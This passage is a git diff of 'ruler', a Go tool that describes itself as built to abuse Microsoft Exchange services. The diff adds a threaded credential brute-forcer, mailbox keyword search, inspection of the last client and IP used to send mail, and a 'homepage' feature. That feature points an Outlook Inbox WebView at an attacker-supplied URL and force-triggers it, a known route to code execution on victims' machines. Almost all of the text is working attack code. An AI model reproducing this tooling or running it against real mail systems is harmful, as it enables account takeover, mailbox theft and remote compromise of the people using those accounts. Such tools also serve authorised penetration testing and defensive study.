autodiscover.Init(domain, c.String("users"), c.String("passwords"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay"), c.Int("threads")); e != nil { + return e + } - if userpass == "" { - if c.GlobalString("domain") != "" { - autodiscover.BruteForce(c.GlobalString("domain"), c.String("users"), c.String("passwords"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } else { - autodiscover.BruteForce(c.GlobalString("url"), c.String("users"), c.String("passwords"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } + if c.String("userpass") == "" { + autodiscover.BruteForce() } else { - if c.GlobalString("domain") != "" { - autodiscover.UserPassBruteForce(c.GlobalString("domain"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } else { - autodiscover.UserPassBruteForce(c.GlobalString("url"), c.String("userpass"), c.GlobalBool("basic"), c.GlobalBool("insecure"), c.Bool("stop"), c.Bool("verbose"), c.Int("attempts"), c.Int("delay")) - } + autodiscover.UserPassBruteForce() } return nil } @@ -242,7 +290,6 @@ func connect(c *cli.Context) error { if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { return fmt.Errorf("Invalid hash provided. Hex decode failed") } - } //setup our autodiscover service config.Domain = c.GlobalString("domain") @@ -465,28 +512,51 @@ func connect(c *cli.Context) error { } func printRules() error { - rules, er := mapi.DisplayRules() + //rules, er := mapi.DisplayRules() + cols := make([]mapi.PropertyTag, 3) + cols[0] = mapi.PidTagRuleName + cols[1] = mapi.PidTagRuleID + cols[2] = mapi.PidTagRuleActions + + rows, er := mapi.FetchRules(cols) if er != nil { return er } - if len(rules) > 0 { - utils.Info.Printf("Found %d rules\n", len(rules)) + if rows.RowCount > 0 { + utils.Info.Printf("Found %d rules\n", rows.RowCount) maxwidth := 30 - for _, v := range rules { - if len(string(v.RuleName)) > maxwidth { - maxwidth = len(string(v.RuleName)) + for k := 0; k < int(rows.RowCount); k++ { + if len(string(rows.RowData[k][0].ValueArray)) > maxwidth { + maxwidth = len(string(rows.RowData[k][0].ValueArray)) } } maxwidth -= 10 - fmstr1 := fmt.Sprintf("%%-%ds | %%-s\n", maxwidth) - fmstr2 := fmt.Sprintf("%%-%ds | %%x\n", maxwidth) - utils.Info.Printf(fmstr1, "Rule Name", "Rule ID") - utils.Info.Printf("%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18)) - for _, v := range rules { - utils.Info.Printf(fmstr2, string(utils.FromUnicode(v.RuleName)), v.RuleID) + fmstr1 := fmt.Sprintf("%%-%ds | %%-16s | %%-s\n", maxwidth) + fmstr2 := fmt.Sprintf("%%-%ds | %%x | %%s\n", maxwidth) + utils.Info.Printf(fmstr1, "Rule Name", "Rule ID", "Client-Side") + utils.Info.Printf("%s|%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18), strings.Repeat("-", 11)) + for k := 0; k < int(rows.RowCount); k++ { + clientSide := false + clientApp := "" + rd := mapi.RuleAction{} + rd.Unmarshal(rows.RowData[k][2].ValueArray) + if rd.ActionType == 0x05 { + for _, a := range rd.ActionData.Conditions { + if a.Tag[1] == 0x49 { + clientSide = true + clientApp = string(utils.FromUnicode(a.Value)) + break + } + } + } + if clientSide == true { + utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray, fmt.Sprintf("* %s", clientApp)) + } else { + utils.Info.Printf(fmstr2, string(utils.FromUnicode(rows.RowData[k][0].ValueArray)), rows.RowData[k][1].ValueArray, "") + } } utils.Info.Println() } else { @@ -710,13 +780,347 @@ func displayForms(c *cli.Context) error { return nil } +func createHomePage(c *cli.Context) error { + utils.Info.Println("Creating new endpoint") + wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 1} + wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + wvpObjectStream.Value = utils.UniString(c.String("url")) + wvpObjectStream.Size = uint32(len(wvpObjectStream.Value)) + prop := wvpObjectStream.Marshal() + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + propertyTags := make([]mapi.TaggedPropertyValue, 1) + propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)} + + if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { + return e + } + utils.Info.Println("Verifying...") + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PidTagFolderWebViewInfo + _, _, e := mapi.GetFolderProps(mapi.INBOX, props) + if e != nil { + utils.Warning.Println("New endpoint not set") + return e + } + utils.Info.Println("New endpoint set") + utils.Info.Println("Trying to force trigger") + mapi.CreateFolder("xyz", true) + + return nil +} + +func displayHomePage() error { + utils.Info.Println("Getting existing endpoint") + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PidTagFolderWebViewInfo + _, c, e := mapi.GetFolderProps(mapi.INBOX, props) + if e == nil { + wvp := mapi.WebViewPersistenceObjectStream{} + wvp.Unmarshal(c.RowData[0].ValueArray) + + if utils.FromUnicode(wvp.Value) == "" { + utils.Info.Println("No endpoint set") + return nil + } + + utils.Info.Printf("Found endpoint: %s\n", utils.FromUnicode(wvp.Value)) + + if wvp.Flags == 0 { + utils.Info.Println("Webview is set as DISABLED") + } else { + utils.Info.Println("Webview is set as ENABLED") + } + } + return e +} + +func deleteHomePage() error { + utils.Info.Println("Unsetting homepage. Remember to use 'add' if you want to reset this to the original value") + wvpObjectStream := mapi.WebViewPersistenceObjectStream{Version: 2, Type: 1, Flags: 0} + wvpObjectStream.Reserved = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} + wvpObjectStream.Value = utils.UniString("") + wvpObjectStream.Size = uint32(len(wvpObjectStream.Value)) + prop := wvpObjectStream.Marshal() + folderid := mapi.AuthSession.Folderids[mapi.INBOX] + propertyTags := make([]mapi.TaggedPropertyValue, 1) + propertyTags[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagFolderWebViewInfo, PropertyValue: append(utils.COUNT(len(prop)), prop...)} + + if _, e := mapi.SetFolderProperties(folderid, propertyTags); e != nil { + return e + } + utils.Info.Println("Verifying...") + props := make([]mapi.PropertyTag, 1) + props[0] = mapi.PidTagFolderWebViewInfo + _, _, e := mapi.GetFolderProps(mapi.INBOX, props) + if e == nil { + utils.Info.Println("Webview reset") + } + + utils.Info.Println("Cleaning up and removing trigger") + + rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + var FolderID []byte + if er == nil { + for k := 0; k < len(rows.RowData); k++ { + //utils.Info.Println(fromUnicode(rows.RowData[k][0].ValueArray)) + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == "xyz" { + FolderID = rows.RowData[k][1].ValueArray + break + } + } + } + if _, er := mapi.DeleteFolder(folderid, FolderID); er != nil { + utils.Warning.Println("Failed to delete trigger. Should be fine though.") + } + + return nil +} + +func searchFolders(c *cli.Context) error { + + utils.Info.Println("Checking if a search folder exists") + + searchFolderName := "searcher" + + searchFolder, err := checkFolder(searchFolderName) + if err != nil { + return fmt.Errorf("Unable to create a search folder to use. %s", err) + } + + utils.Info.Println("Setting search criteria") + + folderids := mapi.AuthSession.Folderids[mapi.INBOX] + + //create the search criteria restrictions + + restrict := mapi.AndRestriction{RestrictType: 0x00} + restrict.RestrictCount = uint16(2) + + var orRestrict mapi.OrRestriction + + //restrict by subject or PidTagBody + restrictContent := mapi.ContentRestriction{RestrictType: 0x03} + restrictContent.FuzzyLevelLow = mapi.FLSUBSTRING + restrictContent.FuzzyLevelHigh = mapi.FLIGNORECASE + if c.Bool("subject") == true { + restrictContent.PropertyTag = mapi.PidTagSubject + } else { + restrictContent.PropertyTag = mapi.PidTagBody + } + restrictContent.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} + + //restrict by PidTagBodyHTML if subject is not set + restrictHTML := mapi.ContentRestriction{RestrictType: 0x03} + restrictHTML.FuzzyLevelLow = mapi.FLSUBSTRING + restrictHTML.FuzzyLevelHigh = mapi.FLIGNORECASE + restrictHTML.PropertyTag = mapi.PidTagSubject + restrictHTML.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} + + //Restrict to IPM.Note + restrictContent2 := mapi.ContentRestriction{RestrictType: 0x03} + restrictContent2.FuzzyLevelLow = mapi.FLPREFIX + restrictContent2.FuzzyLevelHigh = mapi.FLIGNORECASE + restrictContent2.PropertyTag = mapi.PidTagMessageClass + restrictContent2.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent2.PropertyTag, PropertyValue: utils.UniString("IPM.Note")} + + if c.Bool("subject") == true { + restrict.Restricts = []mapi.Restriction{restrictContent, restrictContent2} + } else { + orRestrict = mapi.OrRestriction{RestrictType: 0x01} + orRestrict.RestrictCount = uint16(2) + orRestrict.Restricts = []mapi.Restriction{restrictContent, restrictHTML} + restrict.Restricts = []mapi.Restriction{orRestrict, restrictContent2} + } + + if _, err := mapi.SetSearchCriteria(folderids, searchFolder, restrict); err != nil { + return fmt.Errorf("Unable to set search criteria: %s", err) + } + + utils.Info.Println("Waiting for search folder to populate") + for x := 0; x < 1; x++ { + // time.Sleep(time.Second * (time.Duration)(5)) + res, _ := mapi.GetSearchCriteria(searchFolder) + //do check if search is complete + //fmt.Printf("Search Flag: %x\n", res.SearchFlags) + if res.SearchFlags == 0x00001000 { + break + } + } + mapi.GetFolderFromID(searchFolder, nil) + + rows, err := mapi.GetContents(searchFolder) + + if rows == nil { + utils.Info.Println("No results returned") + return nil + } + + for k := 0; k < len(rows.RowData); k++ { + messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) + messageid := rows.RowData[k][1].ValueArray + columns := make([]mapi.PropertyTag, 1) + columns[0] = mapi.PidTagBody //Column for the Message Body containing our payload + + buff, err := mapi.GetMessageFast(searchFolder, messageid, columns) + if err != nil { + continue + } + //convert buffer to rows + + messagerows := mapi.DecodeBufferToRows(buff.TransferBuffer, columns) + payload := "" + if len(messagerows[0].ValueArray) > 4 { + payload = utils.FromUnicode(messagerows[0].ValueArray[:len(messagerows[0].ValueArray)-4]) + } + utils.Info.Printf("Subject: %s\nBody: %s\n", messageSubject, payload) + + } + + return nil +} + +func checkFolder(folderName string) ([]byte, error) { + + var folderID []byte + propertyTags := make([]mapi.PropertyTag, 2) + propertyTags[0] = mapi.PidTagDisplayName + propertyTags[1] = mapi.PidTagSubfolders + + rows, er := mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + + if er == nil { + for k := 0; k < len(rows.RowData); k++ { + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == folderName { + folderID = rows.RowData[k][1].ValueArray + break + } + } + } + + if len(folderID) == 0 { + utils.Info.Println("No 'ruler' search folder exists. Creating one to use") + _, err := mapi.CreateSearchFolder(folderName) + if err != nil { + return nil, err + } + + time.Sleep(time.Second * (time.Duration)(5)) + + rows, er = mapi.GetSubFolders(mapi.AuthSession.Folderids[mapi.INBOX]) + if er != nil || rows != nil { + for k := 0; k < len(rows.RowData); k++ { + //convert string from unicode and then check if it is our target folder + if utils.FromUnicode(rows.RowData[k][0].ValueArray) == folderName { + folderID = rows.RowData[k][1].ValueArray + break + } + } + } else { + return nil, er + } + } + + return folderID, nil +} + +func checkLastSent() error { + //This gets the "Sent Items" folder and grabs the last sent message. + //Using the ClientInfo tag, we check who if this message was sent from Outlook or OWA + + //get the PropTag for ClientInfo + folderid := mapi.AuthSession.Folderids[mapi.SENT] + rows, err := mapi.GetContents(folderid) + + if err != nil { + return err + } + + if rows == nil { + return fmt.Errorf("Sent folder is empty") + } + //get most recent message + messageid := rows.RowData[0][1].ValueArray + + //for some reason getting named property tags isn't working for me. Maybe I'm an idiot + //so lets simply grab all tags. And then filter until we find one that starts with Client= + buff, err := mapi.GetPropertyIdsList(folderid, messageid) + + var props []byte + idcount := 0 + for _, prop := range buff.PropertyTags { + props = append(props, utils.EncodeNum(prop.PropertyID)...) + idcount++ + } + + propNames, e := mapi.GetPropertyNamesFromID(folderid, messageid, props, idcount) + + if e != nil { + return e + } + + var getProps []mapi.PropertyTag + var clientPropID uint16 + var clientIPPropID uint16 + var serverIPPropID uint16 + + for i, p := range propNames.PropertyNames { + if p.Kind == 0x01 { + pName := utils.FromUnicode(p.Name) + if pName == "ClientInfo" { + getProps = append(getProps, buff.PropertyTags[i]) + clientPropID = buff.PropertyTags[i].PropertyID + } else if pName == "x-ms-exchange-organization-originalclientipaddress" { + getProps = append(getProps, buff.PropertyTags[i]) + clientIPPropID = buff.PropertyTags[i].PropertyID + } else if pName == "x-ms-exchange-organization-originalserveripaddress" { + getProps = append(getProps, buff.PropertyTags[i]) + serverIPPropID = buff.PropertyTags[i].PropertyID + } + } else { + if buff.PropertyTags[i].PropertyID == 0x0039 { + getProps = append(getProps, buff.PropertyTags[i]) + } + } + + } + messageProps, err := mapi.GetMessage(folderid, messageid, getProps) + if err != nil { + return err + } + + for _, row := range messageProps.GetData() { + + id := utils.DecodeUint16(row.PropID) + switch id { + case 0x0039: + t := (utils.DecodeUint64(row.ValueArray) - 116444736000000000) * 100 + x := time.Unix(0, int64(t)) + utils.Info.Printf("Last Message sent at: %s \n", x.UTC()) + case clientPropID: + clstring := utils.FromUnicode(row.ValueArray) + if clstring[6:9] == "OWA" { + utils.Warning.Printf("Last message sent from OWA! User-Agent: %s\n", clstring[10:]) + } else { + utils.Info.Printf("Last message sent from: %s\n", clstring[6:]) + } + case clientIPPropID: + utils.Info.Printf("Client IP Address: %s\n", utils.FromUnicode(row.ValueArray)) + case serverIPPropID: + utils.Info.Printf("Exchange Server IP: %s\n", utils.FromUnicode(row.ValueArray)) + } + } + return nil +} + func main() { app := cli.NewApp() app.Name = "ruler" app.Usage = "A tool to abuse Exchange Services" - app.Version = "2.1.7" + app.Version = "2.1.9" app.Author = "Etienne Stalmans , @_staaldraad" app.Description = ` _ _ __ _ _| | ___ _ __ @@ -930,13 +1334,25 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Name: "check", Aliases: []string{"c"}, Usage: "Check if the credentials work and we can interact with the mailbox", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "last", + Usage: "Returns information about the last client used to send an email", + }, + }, Action: func(c *cli.Context) error { err := connect(c) if err != nil { utils.Error.Println(err) cli.OsExiter(1) } + utils.Info.Println("Looks like we are good to go!") + + if c.Bool("last") == true { + err = checkLastSent() + } + exit(err) return nil }, }, @@ -990,6 +1406,30 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` return nil }, }, + { + Name: "autodiscover", + Aliases: []string{"u"}, + Usage: "Just run the autodiscover service to find the authentication point", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "dump,d", + Usage: "Dump the autodiscover record to a text file (this needs credentails)", + }, + cli.StringFlag{ + Name: "out,o", + Value: "", + Usage: "The file to write to", + }, + }, + Action: func(c *cli.Context) error { + err := discover(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + return nil + }, + }, { Name: "brute", Aliases: []string{"b"}, @@ -1015,6 +1455,11 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Value: 3, Usage: "Number of attempts before delay", }, + cli.IntFlag{ + Name: "threads,t", + Value: 3, + Usage: "Number of concurrent attempts. Reduce if mutex issues appear.", + }, cli.IntFlag{ Name: "delay,d", Value: 5, @@ -1230,6 +1675,101 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` }, }, }, + { + Name: "homepage", + Usage: "Interact with the homepage function.", + Subcommands: []cli.Command{ + { + Name: "add", + Usage: "creates a new homepage. ", + Flags: []cli.Flag{ + cli.StringFlag{ + Name: "url,u", + Value: "", + Usage: "The location where the page is stored", + }, + }, + Action: func(c *cli.Context) error { + if c.String("url") == "" { + return cli.NewExitError("You need to supply a valid URL. Use --url 'http://location/x.html'", 1) + } + //parse URL to ensure valid + if _, e := url.Parse(c.String("url")); e != nil { + return cli.NewExitError("You need to supply a valid URL. Use --url 'http://location/x.html'", 1) + } + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + createHomePage(c) + exit(err) + return nil + }, + }, + { + Name: "delete", + Usage: "delete an existing homepage and resets to using folder view", + Flags: []cli.Flag{}, + Action: func(c *cli.Context) error { + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = deleteHomePage() + exit(err) + return nil + }, + }, + { + Name: "display", + Usage: "display current homepage setting", + + Action: func(c *cli.Context) error { + + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = displayHomePage() + exit(err) + return nil + }, + }, + }, + }, + { + Name: "search", + Usage: "Search for items", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "subject", + Usage: "Search the subject", + }, + cli.StringFlag{ + Name: "term", + Value: "", + Usage: "The term to search for", + }, + }, + Action: func(c *cli.Context) error { + if c.String("term") == "" { + return cli.NewExitError("You need to supply a valid search term. Use --term ", 1) + } + err := connect(c) + if err != nil { + utils.Error.Println(err) + cli.OsExiter(1) + } + err = searchFolders(c) + exit(err) + return nil + }, + }, } app.Action = func(c *cli.Context) error { diff --git a/utils/datatypes.go b/utils/datatypes.go index 5052b06..547c83e 100644 --- a/utils/datatypes.go +++ b/utils/datatypes.go @@ -31,7 +31,7 @@ type Session struct { Insecure bool Verbose bool Admin bool - DiscoURL *url.URL + DiscoURL *url.URL LID string URL *url.URL ABKURL *url.URL //URL for the AddressBook Provider diff --git a/utils/logging.go b/utils/logging.go index 7f483a9..513b347 100644 --- a/utils/logging.go +++ b/utils/logging.go @@ -27,24 +27,24 @@ func Init( Trace = log.New(traceHandle, "[*] ", 0) Info = log.New(infoHandle, "[+] ", 0) Clear = log.New(infoHandle, " ", 0) - Debug = log.New(warningHandle, " ", 0) + Debug = log.New(warningHandle, "", 0) Fail = log.New(infoHandle, "[x] ", 0) Question = log.New(infoHandle, "[?] ", 0) - Warning = log.New(warningHandle, + Warning = log.New(infoHandle, "[WARNING] ", 0) Error = log.New(errorHandle, - "ERROR: ", log.Ldate|log.Ltime) + "ERROR: ", log.Ltime|log.Lshortfile) } else { Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0) Info = log.New(infoHandle, "\033[32m[+] \033[0m", 0) Clear = log.New(infoHandle, " ", 0) - Debug = log.New(warningHandle, " ", 0) + Debug = log.New(warningHandle, "", 0) Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0) Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0) - Warning = log.New(warningHandle, + Warning = log.New(infoHandle, "\033[91m[WARNING] \033[0m", 0) Error = log.New(errorHandle, - "\033[31mERROR\033[0m: ", log.Ldate|log.Ltime) + "\033[31mERROR\033[0m: ", log.Ltime|log.Lshortfile) } } diff --git a/utils/utils.go b/utils/utils.go index 29cbe43..d5cc2a4 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -4,12 +4,14 @@ import ( "bytes" "encoding/base64" "encoding/binary" + "encoding/hex" "fmt" "hash/fnv" "io/ioutil" "math/rand" "os" "reflect" + "strings" "time" "gopkg.in/yaml.v2" @@ -97,6 +99,14 @@ func UTF16BE(str string) []byte { return bt } +//DecodeInt64 decode 8 byte value into int64 +func DecodeInt64(num []byte) int64 { + var number int64 + bf := bytes.NewReader(num) + binary.Read(bf, binary.BigEndian, &number) + return number +} + //DecodeUint64 decode 4 byte value into uint32 func DecodeUint64(num []byte) uint64 { var number uint64 @@ -310,3 +320,35 @@ func ReadYml(yml string) (YamlConfig, error) { } return config, err } + +//GUIDToByteArray mimics Guid.ToByteArray Method () from .NET +// The example displays the following output: +// Guid: 35918bc9-196d-40ea-9779-889d79b753f0 +// C9 8B 91 35 6D 19 EA 40 97 79 88 9D 79 B7 53 F0 +func GUIDToByteArray(guid string) (array []byte, err error) { + //get rid of {} if passed in + guid = strings.Replace(guid, "{", "", 1) + guid = strings.Replace(guid, "}", "", 1) + + sp := strings.Split(guid, "-") //chunk + //we should have 5 chunks + if len(sp) != 5 { + return nil, fmt.Errorf("Invalid GUID") + } + //add first 4 chunks to array in reverse order + for i := 0; i < 4; i++ { + chunk, e := hex.DecodeString(sp[i]) + if e != nil { + return nil, e + } + for k := len(chunk) - 1; k >= 0; k-- { + array = append(array, chunk[k]) + } + } + chunk, e := hex.DecodeString(sp[4]) + if e != nil { + return nil, e + } + array = append(array, chunk...) + return array, nil +}